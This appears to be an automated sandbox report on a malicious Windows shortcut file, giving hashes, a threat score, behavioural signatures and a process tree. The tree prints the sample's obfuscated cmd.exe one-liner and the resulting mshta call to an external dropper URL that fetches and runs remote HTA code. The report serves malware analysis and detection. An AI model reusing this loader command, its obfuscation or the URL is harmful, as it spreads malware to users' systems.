Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
04/08/2026, 08:25
Static task
static1
Behavioral task
behavioral1
Sample
DOC-ZF0HS6.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-ZF0HS6.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-ZF0HS6.lnk
- Size 2KB
- Sample260804-kblptavfne
- SHA256 df0abe211f63ebad6a5623ca03cec2c967826d7a695a8cd9f6da164281e864a0
- MD5 3f392ef2be907f833ad34c4dda4e265c
- SHA1 9a11abdf8845cfabc411aba222a3a9233b53623a
- SHA512 0ebaeec8c67c9bc05aa9c209fede4d0ac0c6285a7bf131449c892904d7fce04bcd7d1ecb9b22c22cc2e16b54063c41f430b8b8aaffe26e1c3c217136b626c4b7
- TLSH T1B74149902BE905D8F2BB9E32DEBE67814477B9567D31C6DD0840814D1822B81E637B63
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2380 cmd.exe 2192 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2380 wrote to memory of 2192 2380 cmd.exe 86 PID 2192 wrote to memory of 4332 2192 cmd.exe 87
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-ZF0HS6.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2380 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d /V:on /c "set AaEwE=bakqurazqvbakvthderbak&set cgG=dbgdegtraueixgudbg&set Er=sysoseugypuzerbveesslsys&set ry=cacheqaxaklwirnhqsicache&set Qbqt=datloieihonffnftkedat&set yoN=dbghegomliouodbg&set EWR=27jsv8e&&set kbNs=ttawm&&set hfVr=u7rte&set Eo=bakvkyyiwbak&set xMQ=oldqytpfold&set mp=h1msn&&set sKA=mhtm2&&set OKza=260a5yw&&set lu=h@t@t@ps:@//@ma-p@df@f@ille@r.@lat/@h@/@e@s@ta@gio@[email protected]@p?@r@=@3@91@4@6@9@F@B@5D82DB&&start /b !mp:~2,2!!sKA:~1,2!!OKza:~3,1! !lu:@=!&&set ENPAT=done"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2192 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4332
-
-